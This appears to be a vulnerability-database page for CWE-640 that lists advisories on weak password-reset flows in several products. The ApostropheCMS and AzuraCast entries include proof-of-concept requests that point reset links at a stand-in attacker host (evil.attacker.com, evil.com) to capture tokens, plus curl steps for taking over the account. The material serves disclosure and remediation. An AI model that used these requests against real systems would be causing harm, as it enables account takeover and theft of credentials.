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Common Weakness Enumeration

CWE-640

Allowed-with-Review

Weak Password Recovery Mechanism for Forgotten Password

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product contains a mechanism for users to recover or change their passwords without knowing the original password, but the mechanism is weak.

438 vulnerabilities reference this CWE, most recent first.

GHSA-GF43-24G3-5HW2

Vulnerability from github – Published: 2026-05-14 18:27 – Updated: 2026-06-12 22:02
VLAI
Summary
Apostrophe has a Weak Password Recovery Mechanism for Forgotten Password and Improper Input Validation
Details

Summary

ApostropheCMS's password reset flow constructs the reset URL using req.hostname, which is derived directly from the attacker-controlled HTTP Host header when apos.baseUrl is not explicitly configured. An unauthenticated attacker who knows a victim's email address can send a crafted reset request that causes the application to email the victim a reset link pointing to the attacker's domain. When the victim clicks the link, the valid reset token is delivered to the attacker, enabling full account takeover.

Affected Component

modules/@apostrophecms/login/index.js — resetRequest route
Precondition: passwordReset: true is set and apos.baseUrl is not configured.

Vulnerability Details

The setPrefixUrls middleware (i18n layer) builds req.baseUrl using req.hostname:

// Simplified from i18n middleware
req.baseUrl = `${req.protocol}://${req.hostname}`;
req.absoluteUrl = req.baseUrl + req.url;

The resetRequest handler then passes this tainted value directly into URL construction:

const parsed = new URL(
  req.absoluteUrl,           // ← tainted by attacker's Host header
  self.apos.baseUrl
    ? undefined
    : `${req.protocol}://${req.hostname}${port}`  // ← also tainted
);
parsed.pathname = '/login';
parsed.searchParams.append('reset', reset);   // real, valid token
parsed.searchParams.append('email', user.email);
await self.email(..., { url: parsed.toString() }, ...);
// Email sent to victim with URL pointing to attacker-controlled domain

When apos.baseUrl is configured, it is used unconditionally and the attacker's Host header is ignored — that path is not vulnerable.

Attack Scenario

  1. Attacker identifies a valid user email (e.g. from the site's public interface).
  2. Attacker sends:
   POST /api/v1/login/reset-request
   Host: evil.attacker.com
   Content-Type: application/json

   {"email": "victim@example.com"}
  1. The application emails the victim:
   Click here to reset your password:
   http://evil.attacker.com/login?reset=TOKEN&email=victim@example.com
  1. Victim clicks the link; attacker's server captures TOKEN.
  2. Attacker calls the real target's reset endpoint with the captured token and sets a new password — full account takeover.

Preconditions

  • passwordReset: true configured in login module options (opt-in)
  • apos.baseUrl is not set (common in development and some production deployments)
  • Attacker knows or can enumerate a valid account email

Impact

Full account takeover of any account whose email address is known to the attacker. No authentication or interaction beyond sending a single HTTP request is required from the attacker. The victim need only click a link in a legitimate-looking password reset email from their own site.

Remediation

Operators (immediate): Always set apos.baseUrl in your configuration:

// app.js or module configuration
modules: {
  '@apostrophecms/express': {
    options: {
      baseUrl: 'https://yourdomain.com'
    }
  }
}

Framework fix (recommended): The resetRequest route should refuse to proceed if apos.baseUrl is not configured, rather than falling back to the tainted req.hostname. Example:

// In resetRequest handler
if (!self.apos.baseUrl) {
  throw self.apos.error(
    'invalid',
    'apos.baseUrl must be configured to enable password reset'
  );
}
const parsed = new URL(self.loginUrl(), self.apos.baseUrl);

This eliminates the attacker-controlled input entirely from the URL construction path.

References

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "apostrophe"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "4.29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45013"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-640"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T18:27:12Z",
    "nvd_published_at": "2026-06-12T21:16:22Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nApostropheCMS\u0027s password reset flow constructs the reset URL using `req.hostname`, \nwhich is derived directly from the attacker-controlled HTTP `Host` header when \n`apos.baseUrl` is not explicitly configured. An unauthenticated attacker who knows \na victim\u0027s email address can send a crafted reset request that causes the application \nto email the victim a reset link pointing to the attacker\u0027s domain. When the victim \nclicks the link, the valid reset token is delivered to the attacker, enabling full \naccount takeover.\n\n## Affected Component\n\n`modules/@apostrophecms/login/index.js` \u2014 `resetRequest` route  \nPrecondition: `passwordReset: true` is set **and** `apos.baseUrl` is not configured.\n\n## Vulnerability Details\n\nThe `setPrefixUrls` middleware (i18n layer) builds `req.baseUrl` using `req.hostname`:\n\n```js\n// Simplified from i18n middleware\nreq.baseUrl = `${req.protocol}://${req.hostname}`;\nreq.absoluteUrl = req.baseUrl + req.url;\n```\n\nThe `resetRequest` handler then passes this tainted value directly into URL construction:\n\n```js\nconst parsed = new URL(\n  req.absoluteUrl,           // \u2190 tainted by attacker\u0027s Host header\n  self.apos.baseUrl\n    ? undefined\n    : `${req.protocol}://${req.hostname}${port}`  // \u2190 also tainted\n);\nparsed.pathname = \u0027/login\u0027;\nparsed.searchParams.append(\u0027reset\u0027, reset);   // real, valid token\nparsed.searchParams.append(\u0027email\u0027, user.email);\nawait self.email(..., { url: parsed.toString() }, ...);\n// Email sent to victim with URL pointing to attacker-controlled domain\n```\n\nWhen `apos.baseUrl` is configured, it is used unconditionally and the attacker\u0027s \n`Host` header is ignored \u2014 that path is **not** vulnerable.\n\n## Attack Scenario\n\n1. Attacker identifies a valid user email (e.g. from the site\u0027s public interface).\n2. Attacker sends:\n```\n   POST /api/v1/login/reset-request\n   Host: evil.attacker.com\n   Content-Type: application/json\n\n   {\"email\": \"victim@example.com\"}\n```\n3. The application emails the victim:\n```\n   Click here to reset your password:\n   http://evil.attacker.com/login?reset=TOKEN\u0026email=victim@example.com\n```\n4. Victim clicks the link; attacker\u0027s server captures `TOKEN`.\n5. Attacker calls the real target\u0027s reset endpoint with the captured token and \n   sets a new password \u2014 full account takeover.\n\n## Preconditions\n\n- `passwordReset: true` configured in login module options (opt-in)\n- `apos.baseUrl` is **not** set (common in development and some production deployments)\n- Attacker knows or can enumerate a valid account email\n\n## Impact\n\nFull account takeover of any account whose email address is known to the attacker. \nNo authentication or interaction beyond sending a single HTTP request is required \nfrom the attacker. The victim need only click a link in a legitimate-looking \npassword reset email from their own site.\n\n## Remediation\n\n**Operators (immediate):** Always set `apos.baseUrl` in your configuration:\n\n```js\n// app.js or module configuration\nmodules: {\n  \u0027@apostrophecms/express\u0027: {\n    options: {\n      baseUrl: \u0027https://yourdomain.com\u0027\n    }\n  }\n}\n```\n\n**Framework fix (recommended):** The `resetRequest` route should refuse to proceed \nif `apos.baseUrl` is not configured, rather than falling back to the tainted \n`req.hostname`. Example:\n\n```js\n// In resetRequest handler\nif (!self.apos.baseUrl) {\n  throw self.apos.error(\n    \u0027invalid\u0027,\n    \u0027apos.baseUrl must be configured to enable password reset\u0027\n  );\n}\nconst parsed = new URL(self.loginUrl(), self.apos.baseUrl);\n```\n\nThis eliminates the attacker-controlled input entirely from the URL construction path.\n\n## References\n\n- [OWASP: Host Header Injection](https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/17-Testing_for_Host_Header_Injection)\n- [CWE-640: Weak Password Recovery Mechanism for Forgotten Password](https://cwe.mitre.org/data/definitions/640.html)",
  "id": "GHSA-gf43-24g3-5hw2",
  "modified": "2026-06-12T22:02:13Z",
  "published": "2026-05-14T18:27:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-gf43-24g3-5hw2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45013"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apostrophecms/apostrophe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apostrophe has a Weak Password Recovery Mechanism for Forgotten Password and Improper Input Validation"
}

GHSA-GGP6-PC6F-GH53

Vulnerability from github – Published: 2021-12-10 00:00 – Updated: 2023-08-08 15:31
VLAI
Details

An Incorrect Access Control vulnerability exists in Premiumdatingscript 4.2.7.7 via the password change procedure in requests\user.php.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-41694"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-09T16:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An Incorrect Access Control vulnerability exists in Premiumdatingscript 4.2.7.7 via the password change procedure in requests\\user.php.",
  "id": "GHSA-ggp6-pc6f-gh53",
  "modified": "2023-08-08T15:31:24Z",
  "published": "2021-12-10T00:00:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-41694"
    },
    {
      "type": "WEB",
      "url": "https://www.chudamax.com/posts/multiple-vulnerabilities-in-belloo-dating-script"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GMJ3-5XFG-Q3QG

Vulnerability from github – Published: 2026-08-15 15:30 – Updated: 2026-08-17 21:31
VLAI
Details

Dancer2::Plugin::Auth::Extensible versions through 0.713 for Perl allow password reset link poisoning via the request Host header in _default_email_password_reset and _default_welcome_send.

Both default emails emit a link of the form $base/login/$code, whose authority comes from the request Host header, or from X-Forwarded-Host under behind_proxy (obtained from Dancer2's request->base function). A POST to /login carrying submit_reset and a username needs no authentication: it stores a fresh reset code against that account and mails the account holder a link to a host of the sender's choosing. The welcome mail takes the same path when the application calls create_user with email_welcome set.

Through 0.711 the handlers read request->uri_base and request->base directly; Versions 0.712 and later provide an uri_base configuration key that defaults to the untrusted request->uri_base when unset.

The default configuration with reset_password_handler enabled and the default message text, a recipient who follows the link hands a working reset code to the sender's host, which is enough to take over the account.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-15689"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-15T14:17:06Z",
    "severity": "CRITICAL"
  },
  "details": "Dancer2::Plugin::Auth::Extensible versions through 0.713 for Perl allow password reset link poisoning via the request Host header in _default_email_password_reset and _default_welcome_send.\n\nBoth default emails emit a link of the form `$base/login/$code`, whose authority comes from the request Host header, or from X-Forwarded-Host under behind_proxy (obtained from Dancer2\u0027s request-\u003ebase function). A POST to /login carrying submit_reset and a username needs no authentication: it stores a fresh reset code against that account and mails the account holder a link to a host of the sender\u0027s choosing. The welcome mail takes the same path when the application calls create_user with email_welcome set.\n\nThrough 0.711 the handlers read `request-\u003euri_base` and `request-\u003ebase` directly; Versions 0.712 and later provide an uri_base configuration key that defaults to the untrusted `request-\u003euri_base` when unset.\n\nThe default configuration with reset_password_handler enabled and the default message text, a recipient who follows the link hands a working reset code to the sender\u0027s host, which is enough to take over the account.",
  "id": "GHSA-gmj3-5xfg-q3qg",
  "modified": "2026-08-17T21:31:18Z",
  "published": "2026-08-15T15:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-15689"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/ABEVERLEY/Dancer2-Plugin-Auth-Extensible-0.711/source/lib/Dancer2/Plugin/Auth/Extensible.pm#L1031-1053"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/ABEVERLEY/Dancer2-Plugin-Auth-Extensible-0.711/source/lib/Dancer2/Plugin/Auth/Extensible.pm#L1097-1121"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/ABEVERLEY/Dancer2-Plugin-Auth-Extensible-0.712/source/lib/Dancer2/Plugin/Auth/Extensible.pm#L178-194"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/ABEVERLEY/Dancer2-Plugin-Auth-Extensible-0.713/changes"
    },
    {
      "type": "WEB",
      "url": "https://metacpan.org/release/ABEVERLEY/Dancer2-Plugin-Auth-Extensible-0.713/source/lib/Dancer2/Plugin/Auth/Extensible.pm#L178-196"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2026/08/15/4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GMX4-3375-7G3W

Vulnerability from github – Published: 2022-05-17 02:25 – Updated: 2022-05-17 02:25
VLAI
Details

Remedy AR System Server in BMC Remedy 8.1 SP 2, 9.0, 9.0 SP 1, and 9.1 allows attackers to reset arbitrary passwords via a blank previous password.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-2349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-12-21T22:59:00Z",
    "severity": "HIGH"
  },
  "details": "Remedy AR System Server in BMC Remedy 8.1 SP 2, 9.0, 9.0 SP 1, and 9.1 allows attackers to reset arbitrary passwords via a blank previous password.",
  "id": "GHSA-gmx4-3375-7g3w",
  "modified": "2022-05-17T02:25:41Z",
  "published": "2022-05-17T02:25:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-2349"
    },
    {
      "type": "WEB",
      "url": "https://bmcsites.force.com/casemgmt/sc_KnowledgeArticle?sfdcid=kA214000000l6kbCAA\u0026type=Solution"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/95075"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1037529"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GP56-58FV-R42C

Vulnerability from github – Published: 2023-11-14 06:30 – Updated: 2026-08-28 18:30
VLAI
Details

Incorrect access control in the Forgot Your Password function of EMSigner v2.8.7 allows unauthenticated attackers to access accounts of all registered users, including those with administrator privileges via a crafted password reset token.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-43902"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-276",
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-14T05:15:08Z",
    "severity": "CRITICAL"
  },
  "details": "Incorrect access control in the Forgot Your Password function of EMSigner v2.8.7 allows unauthenticated attackers to access accounts of all registered users, including those with administrator privileges via a crafted password reset token.",
  "id": "GHSA-gp56-58fv-r42c",
  "modified": "2026-08-28T18:30:25Z",
  "published": "2023-11-14T06:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-43902"
    },
    {
      "type": "WEB",
      "url": "https://secpro.co/blog/cve-2023-43902"
    },
    {
      "type": "WEB",
      "url": "https://secpro.llc/emsigner-cve-2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GP7M-HV9G-C42R

Vulnerability from github – Published: 2022-05-24 16:55 – Updated: 2024-04-04 01:54
VLAI
Details

TTLock devices do not properly restrict password-reset attempts, leading to incorrect access control and disclosure of sensitive information about valid account names.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2019-12943"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-09-10T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "TTLock devices do not properly restrict password-reset attempts, leading to incorrect access control and disclosure of sensitive information about valid account names.",
  "id": "GHSA-gp7m-hv9g-c42r",
  "modified": "2024-04-04T01:54:57Z",
  "published": "2022-05-24T16:55:51Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12943"
    },
    {
      "type": "WEB",
      "url": "https://www.kth.se/polopoly_fs/1.923564.1568098316!/Vulnerability_Report_TTLock_Password_Reset.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.kth.se/polopoly_fs/1.923564.1568098316%21/Vulnerability_Report_TTLock_Password_Reset.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-GPWW-2QCP-Q6C7

Vulnerability from github – Published: 2026-09-02 03:31 – Updated: 2026-09-02 03:31
VLAI
Details

Team Password Manager before 14.184.308 fails to enforce authentication requirements in the local account password reset flow. Unauthenticated attackers can reset local account passwords and authenticate as those users to gain unauthorized access.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2026-84699"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-02T01:17:24Z",
    "severity": "CRITICAL"
  },
  "details": "Team Password Manager before 14.184.308 fails to enforce authentication requirements in the local account password reset flow. Unauthenticated attackers can reset local account passwords and authenticate as those users to gain unauthorized access.",
  "id": "GHSA-gpww-2qcp-q6c7",
  "modified": "2026-09-02T03:31:12Z",
  "published": "2026-09-02T03:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84699"
    },
    {
      "type": "WEB",
      "url": "https://teampasswordmanager.com"
    },
    {
      "type": "WEB",
      "url": "https://teampasswordmanager.com/blog/chrome-extension-6.42.27-tpm-14.184.308"
    },
    {
      "type": "WEB",
      "url": "https://teampasswordmanager.com/docs/changelog"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/team-password-manager-before-14.184.308-authentication-bypass-in-password-reset"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-GV7R-3MR9-H5X8

Vulnerability from github – Published: 2026-05-04 21:17 – Updated: 2026-05-13 13:42
VLAI
Summary
AzuraCast has Password Reset Poisoning via Untrusted X-Forwarded-Host Header that Leads to Account Takeover and 2FA Bypass
Details

Summary

The ApplyXForwarded middleware unconditionally trusts the client-supplied X-Forwarded-Host HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker's server. The attacker then uses the token on the real instance to reset the victim's password and destroy their 2FA configuration, achieving full account takeover.

Details

Root Cause 1: Unconditional X-Forwarded-Host Trust

backend/src/Middleware/ApplyXForwarded.php:35-40:

if ($request->hasHeader('X-Forwarded-Host')) {
    $hasXForwardedHeader = true;
    $xfHost = Types::stringOrNull($request->getHeaderLine('X-Forwarded-Host'), true);
    if (null !== $xfHost) {
        $uri = $uri->withHost($xfHost);
    }
}

There is no validation that the request originates from a trusted reverse proxy. Any direct client can set this header and it will be accepted.

In the default Docker deployment, nginx's PHP location block (util/docker/web/nginx/azuracast.conf.tmpl:150-171) uses fastcgi_pass with include fastcgi_params. Standard nginx behavior passes all client HTTP headers through to PHP-FPM as HTTP_* parameters. The proxy_params.conf file — which explicitly sets X-Forwarded-For, X-Forwarded-Proto, and X-Forwarded-Port — only applies to proxy_pass directives (websocket and vite dev server), NOT to the fastcgi_pass PHP handler. Therefore, client-supplied X-Forwarded-Host reaches PHP unmodified.

Root Cause 2: Request Host Used for Security-Critical URLs

backend/src/Http/Router.php:53-77 in buildBaseUrl():

$useRequest ??= $settings->prefer_browser_url; // default: true

// ...
if ($useRequest || $baseUrl->getHost() === '') {
    $ignoredHosts = ['web', 'nginx', 'localhost'];
    if (!in_array($currentUri->getHost(), $ignoredHosts, true)) {
        $baseUrl = (new Uri())
            ->withScheme($currentUri->getScheme())
            ->withHost($currentUri->getHost())
            ->withPort($currentUri->getPort());
    }
}

With prefer_browser_url = true (the default at backend/src/Entity/Settings.php:109), the request URI host — already poisoned by ApplyXForwarded — is used as the base URL for generating absolute URLs. Even if a base_url is configured in settings, it is overridden by the poisoned request host.

Root Cause 3: Password Reset Generates Absolute URL

backend/src/Controller/Frontend/Account/ForgotPasswordAction.php:72-77:

$router = $request->getRouter();
$url = $router->named(
    routeName: 'account:login-token',
    routeParams: ['token' => $token],
    absolute: true
);

This URL is embedded in the password reset email sent to the victim.

Root Cause 4: Reset Token Wipes 2FA

backend/src/Controller/Frontend/Account/LoginTokenAction.php:74-75:

$user->setNewPassword($data['password']);
$user->two_factor_secret = null;

When a ResetPassword token is consumed, the user's 2FA secret is unconditionally destroyed.

PoC

Prerequisites: An AzuraCast instance with a user account (e.g., admin@target.com) that has 2FA enabled. Attacker controls evil.com with a web server that logs incoming requests.

Step 1: Trigger poisoned password reset

curl -X POST https://target.azuracast.example/forgot \
  -H "X-Forwarded-Host: evil.com" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=admin@target.com"

Expected result: The password reset email sent to admin@target.com contains a URL like:

https://evil.com/login-token/abc123def456...

Step 2: Capture the token

When the victim clicks the link in their email, their browser navigates to https://evil.com/login-token/abc123def456.... The attacker's web server at evil.com captures the full URL path, extracting the token abc123def456....

Step 3: Use token on real instance

# First, GET the reset page to obtain CSRF token
curl -c cookies.txt https://target.azuracast.example/login-token/abc123def456...

# Extract CSRF token from response, then POST new password
curl -b cookies.txt -X POST https://target.azuracast.example/login-token/abc123def456... \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "csrf=<extracted_csrf_token>&password=AttackerPassword123"

Result: The victim's password is changed to AttackerPassword123 and their 2FA is destroyed (two_factor_secret = null). The attacker is logged in with full access.

Impact

  • Full account takeover of any user account, including administrators, without any prior authentication
  • 2FA bypass — the password reset flow unconditionally destroys 2FA configuration, negating its security benefit
  • Administrative compromise — if the target is an admin account, the attacker gains full control of the AzuraCast instance, including all stations, media, and system settings
  • The attack requires the victim to click a link in a legitimate-looking password reset email from the real AzuraCast mail system, which increases the likelihood of success

Recommended Fix

Fix 1 (Primary): Validate X-Forwarded-Host against a trusted proxy allowlist

In backend/src/Middleware/ApplyXForwarded.php, only apply X-Forwarded-* headers when the request originates from a trusted proxy (e.g., the Docker-internal nginx):

// Add trusted proxy check
$trustedProxies = ['127.0.0.1', '::1', 'nginx', 'web'];
$remoteAddr = $request->getServerParams()['REMOTE_ADDR'] ?? '';

if (!in_array($remoteAddr, $trustedProxies, true)) {
    return $handler->handle($request);
}

// ... existing X-Forwarded-* processing

Fix 2 (Defense in depth): Use configured base URL for security-critical emails

In ForgotPasswordAction.php, generate the reset URL using the configured base_url setting rather than the request-derived URL:

$router = $request->getRouter();
$url = $router->named(
    routeName: 'account:login-token',
    routeParams: ['token' => $token],
    absolute: true,
    // Force use of configured base URL, not request host
);

Or modify Router::buildBaseUrl() to never use request-derived hosts for absolute URLs by adding an option to force the configured base URL.

Fix 3 (Defense in depth): Don't wipe 2FA on password reset

In LoginTokenAction.php:75, remove the line $user->two_factor_secret = null;. If 2FA recovery is needed, it should be a separate, explicit flow — not a side effect of password reset.

Severity
8.1 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.23.5"
      },
      "package": {
        "ecosystem": "Packagist",
        "name": "azuracast/azuracast"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.23.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42606"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-640"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-04T21:17:45Z",
    "nvd_published_at": "2026-05-09T20:16:30Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `ApplyXForwarded` middleware unconditionally trusts the client-supplied `X-Forwarded-Host` HTTP header with no trusted proxy allowlist. An unauthenticated attacker can poison the password reset URL sent to any user by injecting this header when triggering the forgot-password flow. When the victim clicks the poisoned link, their reset token is exfiltrated to the attacker\u0027s server. The attacker then uses the token on the real instance to reset the victim\u0027s password and destroy their 2FA configuration, achieving full account takeover.\n\n## Details\n\n### Root Cause 1: Unconditional X-Forwarded-Host Trust\n\n`backend/src/Middleware/ApplyXForwarded.php:35-40`:\n```php\nif ($request-\u003ehasHeader(\u0027X-Forwarded-Host\u0027)) {\n    $hasXForwardedHeader = true;\n    $xfHost = Types::stringOrNull($request-\u003egetHeaderLine(\u0027X-Forwarded-Host\u0027), true);\n    if (null !== $xfHost) {\n        $uri = $uri-\u003ewithHost($xfHost);\n    }\n}\n```\n\nThere is no validation that the request originates from a trusted reverse proxy. Any direct client can set this header and it will be accepted.\n\nIn the default Docker deployment, nginx\u0027s PHP location block (`util/docker/web/nginx/azuracast.conf.tmpl:150-171`) uses `fastcgi_pass` with `include fastcgi_params`. Standard nginx behavior passes all client HTTP headers through to PHP-FPM as `HTTP_*` parameters. The `proxy_params.conf` file \u2014 which explicitly sets `X-Forwarded-For`, `X-Forwarded-Proto`, and `X-Forwarded-Port` \u2014 only applies to `proxy_pass` directives (websocket and vite dev server), NOT to the `fastcgi_pass` PHP handler. Therefore, client-supplied `X-Forwarded-Host` reaches PHP unmodified.\n\n### Root Cause 2: Request Host Used for Security-Critical URLs\n\n`backend/src/Http/Router.php:53-77` in `buildBaseUrl()`:\n```php\n$useRequest ??= $settings-\u003eprefer_browser_url; // default: true\n\n// ...\nif ($useRequest || $baseUrl-\u003egetHost() === \u0027\u0027) {\n    $ignoredHosts = [\u0027web\u0027, \u0027nginx\u0027, \u0027localhost\u0027];\n    if (!in_array($currentUri-\u003egetHost(), $ignoredHosts, true)) {\n        $baseUrl = (new Uri())\n            -\u003ewithScheme($currentUri-\u003egetScheme())\n            -\u003ewithHost($currentUri-\u003egetHost())\n            -\u003ewithPort($currentUri-\u003egetPort());\n    }\n}\n```\n\nWith `prefer_browser_url = true` (the default at `backend/src/Entity/Settings.php:109`), the request URI host \u2014 already poisoned by `ApplyXForwarded` \u2014 is used as the base URL for generating absolute URLs. Even if a `base_url` is configured in settings, it is overridden by the poisoned request host.\n\n### Root Cause 3: Password Reset Generates Absolute URL\n\n`backend/src/Controller/Frontend/Account/ForgotPasswordAction.php:72-77`:\n```php\n$router = $request-\u003egetRouter();\n$url = $router-\u003enamed(\n    routeName: \u0027account:login-token\u0027,\n    routeParams: [\u0027token\u0027 =\u003e $token],\n    absolute: true\n);\n```\n\nThis URL is embedded in the password reset email sent to the victim.\n\n### Root Cause 4: Reset Token Wipes 2FA\n\n`backend/src/Controller/Frontend/Account/LoginTokenAction.php:74-75`:\n```php\n$user-\u003esetNewPassword($data[\u0027password\u0027]);\n$user-\u003etwo_factor_secret = null;\n```\n\nWhen a `ResetPassword` token is consumed, the user\u0027s 2FA secret is unconditionally destroyed.\n\n## PoC\n\n**Prerequisites:** An AzuraCast instance with a user account (e.g., `admin@target.com`) that has 2FA enabled. Attacker controls `evil.com` with a web server that logs incoming requests.\n\n### Step 1: Trigger poisoned password reset\n\n```bash\ncurl -X POST https://target.azuracast.example/forgot \\\n  -H \"X-Forwarded-Host: evil.com\" \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n  -d \"email=admin@target.com\"\n```\n\n**Expected result:** The password reset email sent to `admin@target.com` contains a URL like:\n```\nhttps://evil.com/login-token/abc123def456...\n```\n\n### Step 2: Capture the token\n\nWhen the victim clicks the link in their email, their browser navigates to `https://evil.com/login-token/abc123def456...`. The attacker\u0027s web server at `evil.com` captures the full URL path, extracting the token `abc123def456...`.\n\n### Step 3: Use token on real instance\n\n```bash\n# First, GET the reset page to obtain CSRF token\ncurl -c cookies.txt https://target.azuracast.example/login-token/abc123def456...\n\n# Extract CSRF token from response, then POST new password\ncurl -b cookies.txt -X POST https://target.azuracast.example/login-token/abc123def456... \\\n  -H \"Content-Type: application/x-www-form-urlencoded\" \\\n 